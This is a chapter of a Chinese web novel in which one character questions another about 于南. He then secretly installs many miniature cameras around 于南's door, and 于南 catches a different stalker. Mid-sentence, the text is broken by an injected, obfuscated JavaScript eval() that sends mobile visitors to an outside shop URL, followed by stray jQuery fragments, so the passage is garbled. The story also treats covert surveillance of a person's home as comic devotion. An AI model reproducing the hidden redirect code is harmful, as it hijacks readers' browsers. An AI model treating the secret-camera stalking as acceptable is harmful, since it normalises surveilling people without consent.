迟雾一转弯,走进走廊尽头的自习室,而后利落一转身,双手插着兜,身子要直不直地靠着墙,他的视线静静地落在门口的位置,听着走廊里穿过吵闹喧嚣的那一道极其轻稳的脚步声。
脚步声由远及近,温程安的身影挤进门内,他看着迟雾,没说话。
迟雾直入主题:“你昨晚在哪儿?”
温程安不言不语,兀自盯着他。
迟雾用指节不重不轻地敲了下墙面,沉闷的响声持续回荡,格外冗长,如同一道即时的沙漏,当沙子彻底跌空时,不作回应的人也要被判处罪行,但显然,温程安这人要平静自在得多,丝毫不受影响。
迟雾也不开口催促,就那么等待着。
良久。
温程安终于开口道:“我为什么要告诉你?”
迟雾早就料到他可能是这个反应,也没多意外,干脆抛出另一句话:“孤儿院里的生活不大好受,有人陪才不孤单。”
这句话落,温程安紧绷的表情才舒展些,他极其缓慢地用目光观察着迟雾的表情、姿态,却发现迟雾是以一种极其松散的状态说出这句话的,而非装模作样的设套。
温程安说:“所以呢?”
迟雾耸耸肩,就此将话断在这儿,没了下文。
他只能猜测“小土”是孤儿院里陪着温程安的玩伴,却也只能猜测到这儿了,再多说,估摸这就要露出马脚,还不如这样当个哑巴,让温程安先慌神。
但出乎意料的,温程安却直接问:“你什么也不知道对吧?”
见迟雾无甚反应,温程安如同早就料到般笑了下,他笑的时候肌肉拉扯着嘴角弧度,那种笑很僵硬,还很干苦,甚至有些像哭起来,实在不是很好看。
温程安笃定道:“你想问于南的事吧。”
迟雾当即抿紧嘴唇。
温程安却淡淡道:“我不会告诉你的。”
迟雾没忍住上前几步,冷着表情觑着他,说:“过去你和于南之间有交集,以后未必会有,不要跟踪于南,不许跟踪于南。”
温程安的升高与迟雾差不多,两人对视时,一双眸里是浅淡的嘲讽,一双眸中则是不容忽视的冷意。
温程安又说了那句话:“你真像小土啊。”
至于小土究竟是谁,他却没打算解释,直接转身出了自习室,在他关上门那刻,迟雾再次冷声道:“温程安,无论你是拿的什么主意,别让我发现你对他做什么坏事儿,温家把你领回去也不过是做一个靶子,你什么也得不到。”
温程安轻瞥了他一眼,眼神淡漠。
许是因为吃了药,迟雾的脑袋实在提不起来精神,本来的补习也因为他几乎要睡去的困乏疲态而被顾宁一提前叫停。
顾宁一去了另一个学生家里补课,而迟雾则开着车兜转着来到于南家。
他没提前同于南交代,而是直接按着之前的记忆,摸到了地下室里,然后准确地找到于南家的门,站在门口将周遭彻底打量了个遍,还把提前准备好的红光灯从兜里掏出晃了一圈,确认于南家门口没什么监控或者追踪标记才松了口气,但下一刻他又瞬间绷紧身体,像小偷似得四处打量了番,见没人出门,才故作镇定地从兜里掏出来一把精小的微型监控,而后从里面挑出两枚,一左一右地按着说明书安装到门前死角。
弄完后,他看着手里剩下的大把微型监控,又瞧了瞧毫无动静的门,做贼心虚地轻咳了声,把耳朵贴到门上听了听,没听见什么声响,他又接着从手里挑出两个微型监控,找了另外两个足以俯视门前全况的角落把它们安上去。
这么循反往复这几个动作,没一会儿,他手掌心就空空如也,微型监控都被他给安装到了周围。
迟雾摸了摸鼻子,又早有准备地掏出放大镜,左右瞧了瞧,尤其仔细探查安微型监控的位置,见看不出什么特明显的端倪才松了口气。
本来想只安两个来确保没人跟踪于南到家门口,但安着安着,好像就停不住手了。
要是能在于南家里也安几个就好了。
迟雾颇为惋惜地想。
“咔嚓。”
门把手从内转动的声音响起,迟雾顿时慌了神,左顾右盼地寻找着藏匿的位置,最终走投无路,直接抓起放垃圾的纸盒子扔到一旁,自己跳进了那片充满恶臭的角落,而后干脆利落地用有生以来最快的速度把纸盒子重新抓回来遮挡住自己。
门被打开。
于南手上牵着九月三往外走。
九月三在出来后却未像往常一般径直往楼梯口走,而是在门口那片小空间内哼唧着转圈迂回徘徊,鼻子也不听抽动着嗅来嗅去。
迟雾听见那格外明显的嗅气声,几乎觉得自己要完了,在心里提前骂了九月三几句“坏狗”,便僵直着胳膊,努力摒弃那令人作呕的恶臭,维持着纸盒遮身子的动作,心里还不停祈祷——
九月三啊,别找我,别找我。
于南再看见我真就要认定我是变态了。
求求九月三大人。
九月三你这次放过我,我晚上肯定把梦里那条小土狗给你拉郎配,让它的魂儿跑过来陪你玩。
不知是否是祈愿生效。
九月三只是在墙上安着微型监控的位置拱了拱鼻子,又用爪子扒拉了两下。但不凑巧的是,又有那么两个安得不大牢靠的微型监控被它用爪子给挠了下来,摔落到地上。
迟雾在纸盒缝隙中看见这一幕,心如死灰地阖了阖眼,自我安慰道,总好过于南直接发现我吧,就当牺牲它们来给于南提个醒了,说不准以后于南就能注意躲避那些跟踪他的人了。
于南弯下腰,从地上捡起米粟大小的微型监控,捏着查看一番。
他背对着迟雾,迟雾也便没看见他脸上那颇具讽刺意味的表情。
于南又轻而易举地将墙上其他的微型监控也拆下来,毫不留情地扔在地上,脚踩上去碾了碾。
通通踩碎。
而后迟雾就听见于南说了声。
“我不去找你,你先来找我了?”
迟雾的呼吸骤然停止,连贴在衣服上的充满恶臭的垃圾都被他忽视掉。
于南发现他了?
迟雾决定装死。
让于南来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199143|150851||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
找他吧。
找到他之后,他再装傻卖楞。
迟雾想了想。
这次就用这个理由——
扔垃圾迷路了,闻着垃圾味儿找到了这个堆垃圾的地方!
对,就这个了!
迟雾只希望于南别拿自己当二傻子。
于南挪动了下脚,身子缓慢转动。
就在迟雾决定坦然接受死亡时。
于南倏地攥紧狗链,而后彻底一松。
九月三接收到指令,霎时朝着某个方向冲过去。
“汪!”
九月三的爪子直掏某个角落处,利牙露出来朝着那个方向狠狠一咬——
“啊!!”
一声凄厉的惨叫响起。
一个男人连滚带爬地躲避着九月三的撕咬,手上还捂着被撕烂的裤子,分明只有衣服被利牙勾扯到,他却哭天喊地、眼泪横流,仿佛被狗给咬断了条腿、咬折了条胳膊。
他手掌撑着布满脏污的地面,不断往后爬,却在第一刻,手掌无法再抬起,而是被一双脚毫不留情地踩住。
于南冷冰冰地睥睨着他。
男人颤颤巍巍地抬起头,正对上那寒冰般的视线,陡然开始牙齿打颤,齿关撞击的声音都带着悚然。
他身上穿着还算得体,那布料看起来颇为昂贵,不过这男人面貌极其猥琐,胡茬满脸,嘴唇上还布着层要掉不掉的死皮,他张了张嘴,似是想要解释或求饶,但刚发出个微小的气音,就被九月三狂叫着吼了一声,他又颤抖起来。
迟雾不自觉地也哆嗦了下。
还有别人跟踪于南?
他和于南之间有什么纠葛?
迟雾又想起迟母口中的绑架事件。
这是不是他为于南招来的祸害?
九月三将男人压在地上,于南摸了摸没戴助听器的耳朵,看着男人,问道:“你又想死?”
又?
这男人之前也跟踪过于南?
迟雾迅速捕捉到这层潜在信息。
男人的脸侧压在地面上,他哆嗦着嘴唇说:“我、我听说你出狱了,来探望你一下。”
于南垂眸觑着,他虽然听不见,但从小到大都是个聋子,小时候甚至都没有助听器,那时候就只能像个变态一样盯着别人的嘴,眼睛都不能眨一下,就这样,他看唇语的能力也迅猛提升,尤其是在监狱那三年,甚至不用戴助听器就能听出来每个人对着他吐出来的是什么样的字眼。
“胳膊也不想要了?”于南用脚踢了下男人的胳膊,那动作带着抹忽视不掉的羞辱意味,也让他被赋予了层阴沉,这与迟雾所熟悉的于南完全不同,几乎是南辕北辙。
迟雾眼睛眨也不眨地盯着于南的一举一动,眼睛被垃圾熏得泛红了一片,滚下来滴生理泪水,他都顾不及去擦,只任由它往下流淌。
男人哆嗦着说:“要、要。”
于南说:“之前捞到的钱都花光了?”
于南恶劣一笑,说:“多亏你,我才有机会进去见识世面,否则我都不知道,原来我对你做的回击居然这么不值一提。”